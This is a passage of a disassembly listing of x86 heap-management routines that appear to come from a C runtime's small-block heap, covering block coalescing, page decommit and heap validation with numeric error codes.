		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_28]
		jle	loc_423376
		mov	ecx, [ebp+var_10]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_4230DB
		mov	edx, [ebp+var_28]
		add	edx, [ebp+var_10]
		cmp	[ebp+var_1C], edx
		jle	short loc_4230E2


loc_4230DB:				; CODE XREF: sub_423050+7Ej
		xor	eax, eax
		jmp	loc_423637
; ---------------------------------------------------------------------------


loc_4230E2:				; CODE XREF: sub_423050+89j
		mov	eax, [ebp+var_10]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_4230FB
		mov	[ebp+var_20], 3Fh


loc_4230FB:				; CODE XREF: sub_423050+A2j
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_4231DD
		cmp	[ebp+var_20], 20h
		jnb	short loc_423172
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_423170
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_423170:				; CODE XREF: sub_423050+106j
		jmp	short loc_4231DD
; ---------------------------------------------------------------------------


loc_423172:				; CODE XREF: sub_423050+C1j
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_4231DD
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_4231DD:				; CODE XREF: sub_423050+B7j
					; sub_423050:loc_423170j ...
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_28]
		add	eax, [ebp+var_10]
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	loc_423357
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1C]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_10]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_20], edx
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_423233
		mov	[ebp+var_20], 3Fh


loc_423233:				; CODE XREF: sub_423050+1DAj
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_18]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_2C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_423343
		cmp	[ebp+var_20], 20h
		jnb	short loc_4232DC
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_4232BA
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_4232BA:				; CODE XREF: sub_423050+252j
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+44h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+44h], ecx
		jmp	short loc_423343
; ---------------------------------------------------------------------------


loc_4232DC:				; CODE XREF: sub_423050+22Fj
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_42331A
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_42331A:				; CODE XREF: sub_423050+2ADj
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx


loc_423343:				; CODE XREF: sub_423050+225j
					; sub_423050+28Aj
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_10]
		mov	[ecx], edx
		mov	eax, [ebp+var_2C]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	[eax-4], ecx


loc_423357:				; CODE XREF: sub_423050+1BBj
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	eax, [ebp+var_14]
		mov	[eax], edx
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_1C]
		mov	[edx-4], ecx
		jmp	loc_423632
; ---------------------------------------------------------------------------


loc_423376:				; CODE XREF: sub_423050+70j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_28]
		jge	loc_423632
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	edx, [ebp+var_14]
		mov	[edx], ecx
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1C]
		mov	[ecx-4], eax
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_1C]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_4233C7
		mov	[ebp+var_24], 3Fh


loc_4233C7:				; CODE XREF: sub_423050+36Ej
		mov	edx, [ebp+var_10]
		and	edx, 1
		test	edx, edx
		jnz	loc_423510
		mov	eax, [ebp+var_10]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_4233EE
		mov	[ebp+var_20], 3Fh


loc_4233EE:				; CODE XREF: sub_423050+395j
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_4234D0
		cmp	[ebp+var_20], 20h
		jnb	short loc_423465
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_423463
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_423463:				; CODE XREF: sub_423050+3F9j
		jmp	short loc_4234D0
; ---------------------------------------------------------------------------


loc_423465:				; CODE XREF: sub_423050+3B4j
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_4234D0
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_4234D0:				; CODE XREF: sub_423050+3AAj
					; sub_423050:loc_423463j ...
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_28]
		add	eax, [ebp+var_10]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_423510
		mov	[ebp+var_24], 3Fh


loc_423510:				; CODE XREF: sub_423050+37Fj
					; sub_423050+4B7j
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+var_8]
		lea	ecx, [eax+edx*8]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_14]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_14]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_42361E
		cmp	[ebp+var_24], 20h
		jnb	short loc_4235B8
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_423596
		mov	eax, 80000000h
		mov	ecx, [ebp+var_24]
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax], edx


loc_423596:				; CODE XREF: sub_423050+52Ej
		mov	edx, 80000000h
		mov	ecx, [ebp+var_24]
		shr	edx, cl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+44h]
		or	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		jmp	short loc_42361E
; ---------------------------------------------------------------------------


loc_4235B8:				; CODE XREF: sub_423050+50Cj
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_4235F5
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_4235F5:				; CODE XREF: sub_423050+588j
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+0C4h]
		or	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+0C4h], eax


loc_42361E:				; CODE XREF: sub_423050+502j
					; sub_423050+566j
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_28]
		mov	eax, [ebp+var_28]
		mov	[edx-4], eax


loc_423632:				; CODE XREF: sub_423050+321j
					; sub_423050+32Cj
		mov	eax, 1


loc_423637:				; CODE XREF: sub_423050+8Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_423050	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4EF054, 0
		jz	loc_42376C
		mov	eax, ds:dword_4EF04C
		shl	eax, 0Fh
		mov	ecx, ds:dword_4EF054
		mov	edx, [ecx+0Ch]
		add	edx, eax
		mov	[ebp-4], edx
		push	4000h
		push	8000h
		mov	eax, [ebp-4]
		push	eax
		call	ds:dword_4F1460	; VirtualFree
		mov	edx, 80000000h
		mov	ecx, ds:dword_4EF04C
		shr	edx, cl
		mov	eax, ds:dword_4EF054
		mov	ecx, [eax+8]
		or	ecx, edx
		mov	edx, ds:dword_4EF054
		mov	[edx+8], ecx
		mov	eax, ds:dword_4EF054
		mov	ecx, [eax+10h]
		mov	edx, ds:dword_4EF04C
		mov	dword ptr [ecx+edx*4+0C4h], 0
		mov	eax, ds:dword_4EF054
		mov	ecx, [eax+10h]
		mov	dl, [ecx+43h]
		sub	dl, 1
		mov	eax, ds:dword_4EF054
		mov	ecx, [eax+10h]
		mov	[ecx+43h], dl
		mov	edx, ds:dword_4EF054
		mov	eax, [edx+10h]
		movsx	ecx, byte ptr [eax+43h]
		test	ecx, ecx
		jnz	short loc_4236F2
		mov	edx, ds:dword_4EF054
		mov	eax, [edx+4]
		and	al, 0FEh
		mov	ecx, ds:dword_4EF054
		mov	[ecx+4], eax


loc_4236F2:				; CODE XREF: seg000:004236DCj
		mov	edx, ds:dword_4EF054
		cmp	dword ptr [edx+8], 0FFFFFFFFh
		jnz	short loc_423762
		cmp	ds:dword_4EF058, 1
		jle	short loc_423762
		mov	eax, ds:dword_4EF054
		mov	ecx, [eax+10h]
		push	ecx
		push	0
		mov	edx, ds:dword_4EF060
		push	edx
		call	ds:dword_4F1454	; RtlFreeHeap
		mov	eax, ds:dword_4EF058
		imul	eax, 14h
		mov	ecx, ds:dword_4EF05C
		add	ecx, eax
		mov	edx, ds:dword_4EF054
		add	edx, 14h
		sub	ecx, edx
		push	ecx
		mov	eax, ds:dword_4EF054
		add	eax, 14h
		push	eax
		mov	ecx, ds:dword_4EF054
		push	ecx
		call	sub_41F9A0
		add	esp, 0Ch
		mov	edx, ds:dword_4EF058
		sub	edx, 1
		mov	ds:dword_4EF058, edx


loc_423762:				; CODE XREF: seg000:004236FCj
					; seg000:00423705j
		mov	ds:dword_4EF054, 0


loc_42376C:				; CODE XREF: seg000:0042364Bj
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423770	proc near		; CODE XREF: sub_421F70+15p

var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 168h
		mov	eax, ds:dword_4EF058
		imul	eax, 14h
		push	eax
		mov	ecx, ds:dword_4EF05C
		push	ecx
		call	near ptr 3D0000h
		db	36h
		test	eax, eax
		jz	short loc_42379B
		or	eax, 0FFFFFFFFh
		jmp	loc_423D89
; ---------------------------------------------------------------------------


loc_42379B:				; CODE XREF: sub_423770+21j
		mov	edx, ds:dword_4EF05C
		mov	[ebp+var_13C], edx
		mov	[ebp+var_120], 0
		jmp	short loc_4237C2
; ---------------------------------------------------------------------------


loc_4237B3:				; CODE XREF: sub_423770+612j
		mov	eax, [ebp+var_120]
		add	eax, 1
		mov	[ebp+var_120], eax


loc_4237C2:				; CODE XREF: sub_423770+41j
		mov	ecx, [ebp+var_120]
		cmp	ecx, ds:dword_4EF058
		jge	loc_423D87
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+10h]
		mov	[ebp+var_160], eax
		push	41C4h
		mov	ecx, [ebp+var_160]
		push	ecx
		call	near ptr 3D0000h
		pop	edi
		test	eax, eax
		jz	short loc_423803
		mov	eax, 0FFFFFFFEh
		jmp	loc_423D89
; ---------------------------------------------------------------------------


loc_423803:				; CODE XREF: sub_423770+87j
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+0Ch]
		mov	[ebp+var_128], eax
		mov	ecx, [ebp+var_160]
		add	ecx, 144h
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	[ebp+var_144], 0
		mov	[ebp+var_158], 0
		mov	[ebp+var_C], 0
		jmp	short loc_423853
; ---------------------------------------------------------------------------


loc_42384A:				; CODE XREF: sub_423770+5D6j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_423853:				; CODE XREF: sub_423770+D8j
		cmp	[ebp+var_C], 20h
		jge	loc_423D4B
		mov	[ebp+var_11C], 0
		mov	[ebp+var_150], 0
		mov	[ebp+var_12C], 0
		mov	[ebp+var_14C], 0
		jmp	short loc_423896
; ---------------------------------------------------------------------------


loc_423887:				; CODE XREF: sub_423770+140j
		mov	edx, [ebp+var_14C]
		add	edx, 1
		mov	[ebp+var_14C], edx


loc_423896:				; CODE XREF: sub_423770+115j
		cmp	[ebp+var_14C], 40h
		jge	short loc_4238B2
		mov	eax, [ebp+var_14C]
		mov	[ebp+eax*4+var_118], 0
		jmp	short loc_423887
; ---------------------------------------------------------------------------


loc_4238B2:				; CODE XREF: sub_423770+12Dj
		cmp	[ebp+var_4], 0
		jl	loc_423CED
		push	8000h
		mov	ecx, [ebp+var_128]
		push	ecx
		call	near ptr 3D0000h
		pushf
		test	eax, eax
		jz	short loc_4238DC
		mov	eax, 0FFFFFFFCh
		jmp	loc_423D89
; ---------------------------------------------------------------------------


loc_4238DC:				; CODE XREF: sub_423770+160j
		mov	edx, [ebp+var_128]
		mov	[ebp+var_8], edx
		mov	[ebp+var_140], 0
		jmp	short loc_423900
; ---------------------------------------------------------------------------


loc_4238F1:				; CODE XREF: sub_423770+30Fj
		mov	eax, [ebp+var_140]
		add	eax, 1
		mov	[ebp+var_140], eax


loc_423900:				; CODE XREF: sub_423770+17Fj
		cmp	[ebp+var_140], 8
		jge	loc_423A84
		mov	ecx, [ebp+var_8]
		add	ecx, 0Ch
		mov	[ebp+var_130], ecx
		mov	edx, [ebp+var_130]
		add	edx, 0FF0h
		mov	[ebp+var_138], edx
		mov	eax, [ebp+var_130]
		cmp	dword ptr [eax-4], 0FFFFFFFFh
		jnz	short loc_423942
		mov	ecx, [ebp+var_138]
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_42394C


loc_423942:				; CODE XREF: sub_423770+1C5j
		mov	eax, 0FFFFFFFBh
		jmp	loc_423D89
; ---------------------------------------------------------------------------


loc_42394C:				; CODE XREF: sub_423770+1D0j
					; sub_423770+2E6j
		mov	edx, [ebp+var_130]
		mov	eax, [edx]
		mov	[ebp+var_148], eax
		mov	ecx, [ebp+var_148]
		mov	[ebp+var_154], ecx
		mov	edx, [ebp+var_154]
		and	edx, 1
		test	edx, edx
		jz	short loc_4239A9
		mov	eax, [ebp+var_148]
		sub	eax, 1
		mov	[ebp+var_148], eax
		cmp	[ebp+var_148], 400h
		jle	short loc_423998
		mov	eax, 0FFFFFFFAh
		jmp	loc_423D89
; ---------------------------------------------------------------------------


loc_423998:				; CODE XREF: sub_423770+21Cj
		mov	ecx, [ebp+var_12C]
		add	ecx, 1
		mov	[ebp+var_12C], ecx
		jmp	short loc_4239EB
; ---------------------------------------------------------------------------


loc_4239A9:				; CODE XREF: sub_423770+201j
		mov	edx, [ebp+var_148]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_14C], edx
		cmp	[ebp+var_14C], 3Fh
		jle	short loc_4239CE
		mov	[ebp+var_14C], 3Fh


loc_4239CE:				; CODE XREF: sub_423770+252j
		mov	eax, [ebp+var_14C]
		mov	ecx, [ebp+eax*4+var_118]
		add	ecx, 1
		mov	edx, [ebp+var_14C]
		mov	[ebp+edx*4+var_118], ecx


loc_4239EB:				; CODE XREF: sub_423770+237j
		cmp	[ebp+var_148], 10h
		jl	short loc_423A0D
		mov	eax, [ebp+var_148]
		and	eax, 0Fh
		test	eax, eax
		jnz	short loc_423A0D
		cmp	[ebp+var_148], 0FF0h
		jle	short loc_423A17


loc_423A0D:				; CODE XREF: sub_423770+282j
					; sub_423770+28Fj
		mov	eax, 0FFFFFFF9h
		jmp	loc_423D89
; ---------------------------------------------------------------------------


loc_423A17:				; CODE XREF: sub_423770+29Bj
		mov	ecx, [ebp+var_130]
		add	ecx, [ebp+var_148]
		mov	edx, [ecx-4]
		cmp	edx, [ebp+var_154]
		jz	short loc_423A38
		mov	eax, 0FFFFFFF8h
		jmp	loc_423D89
; ---------------------------------------------------------------------------


loc_423A38:				; CODE XREF: sub_423770+2BCj
		mov	eax, [ebp+var_130]
		add	eax, [ebp+var_148]
		mov	[ebp+var_130], eax
		mov	ecx, [ebp+var_130]
		cmp	ecx, [ebp+var_138]
		jb	loc_42394C
		mov	edx, [ebp+var_130]
		cmp	edx, [ebp+var_138]
		jz	short loc_423A74
		mov	eax, 0FFFFFFF8h
		jmp	loc_423D89
; ---------------------------------------------------------------------------


loc_423A74:				; CODE XREF: sub_423770+2F8j
		mov	eax, [ebp+var_8]
		add	eax, 1000h
		mov	[ebp+var_8], eax
		jmp	loc_4238F1
; ---------------------------------------------------------------------------


loc_423A84:				; CODE XREF: sub_423770+197j
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		cmp	edx, [ebp+var_12C]
		jz	short loc_423A9B
		mov	eax, 0FFFFFFF7h
		jmp	loc_423D89
; ---------------------------------------------------------------------------


loc_423A9B:				; CODE XREF: sub_423770+31Fj
		mov	eax, [ebp+var_18]
		mov	[ebp+var_134], eax
		mov	[ebp+var_14], 0
		jmp	short loc_423AB6
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423770+578j
		mov	ecx, [ebp+var_14]
		add	ecx, 1
		mov	[ebp+var_14], ecx


loc_423AB6:				; CODE XREF: sub_423770+33Bj
		cmp	[ebp+var_14], 40h
		jge	loc_423CED
		mov	[ebp+var_168], 0
		mov	edx, [ebp+var_134]
		mov	[ebp+var_130], edx


loc_423AD6:				; CODE XREF: sub_423770+4A5j
		mov	eax, [ebp+var_130]
		mov	ecx, [eax+4]
		mov	[ebp+var_15C], ecx
		mov	edx, [ebp+var_15C]
		cmp	edx, [ebp+var_134]
		jz	loc_423C1A
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_168]
		cmp	ecx, [ebp+eax*4+var_118]
		jz	loc_423C1A
		mov	edx, [ebp+var_15C]
		cmp	edx, [ebp+var_128]
		jb	short loc_423B2E
		mov	eax, [ebp+var_128]
		add	eax, 8000h
		cmp	[ebp+var_15C], eax
		jb	short loc_423B38


loc_423B2E:				; CODE XREF: sub_423770+3A9j
		mov	eax, 0FFFFFFF6h
		jmp	loc_423D89
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423770+3BCj
		mov	ecx, [ebp+var_15C]
		and	ecx, 0FFFFF000h
		mov	[ebp+var_164], ecx
		mov	edx, [ebp+var_164]
		add	edx, 0Ch
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		add	eax, 0FF0h
		mov	[ebp+var_124], eax


loc_423B64:				; CODE XREF: sub_423770+41Cj
		mov	ecx, [ebp+var_10]
		cmp	ecx, [ebp+var_124]
		jz	short loc_423B8E
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+var_15C]
		jnz	short loc_423B7C
		jmp	short loc_423B8E
; ---------------------------------------------------------------------------


loc_423B7C:				; CODE XREF: sub_423770+408j
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		mov	edx, [ebp+var_10]
		add	edx, ecx
		mov	[ebp+var_10], edx
		jmp	short loc_423B64
; ---------------------------------------------------------------------------


loc_423B8E:				; CODE XREF: sub_423770+3FDj
					; sub_423770+40Aj
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_124]
		jnz	short loc_423BA3
		mov	eax, 0FFFFFFF5h
		jmp	loc_423D89
; ---------------------------------------------------------------------------


loc_423BA3:				; CODE XREF: sub_423770+427j
		mov	ecx, [ebp+var_15C]
		mov	edx, [ecx]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_14C], edx
		cmp	[ebp+var_14C], 3Fh
		jle	short loc_423BCA
		mov	[ebp+var_14C], 3Fh


loc_423BCA:				; CODE XREF: sub_423770+44Ej
		mov	eax, [ebp+var_14C]
		cmp	eax, [ebp+var_14]
		jz	short loc_423BDF
		mov	eax, 0FFFFFFF4h
		jmp	loc_423D89
; ---------------------------------------------------------------------------


loc_423BDF:				; CODE XREF: sub_423770+463j
		mov	ecx, [ebp+var_15C]
		mov	edx, [ecx+8]
		cmp	edx, [ebp+var_130]
		jz	short loc_423BFA
		mov	eax, 0FFFFFFF3h
		jmp	loc_423D89
; ---------------------------------------------------------------------------


loc_423BFA:				; CODE XREF: sub_423770+47Ej
		mov	eax, [ebp+var_15C]
		mov	[ebp+var_130], eax
		mov	ecx, [ebp+var_168]
		add	ecx, 1
		mov	[ebp+var_168], ecx
		jmp	loc_423AD6
; ---------------------------------------------------------------------------


loc_423C1A:				; CODE XREF: sub_423770+381j
					; sub_423770+397j
		cmp	[ebp+var_168], 0
		jz	short loc_423C91
		cmp	[ebp+var_14], 20h
		jge	short loc_423C5B
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_11C]
		or	eax, edx
		mov	[ebp+var_11C], eax
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_144]
		or	eax, edx
		mov	[ebp+var_144], eax
		jmp	short loc_423C91
; ---------------------------------------------------------------------------


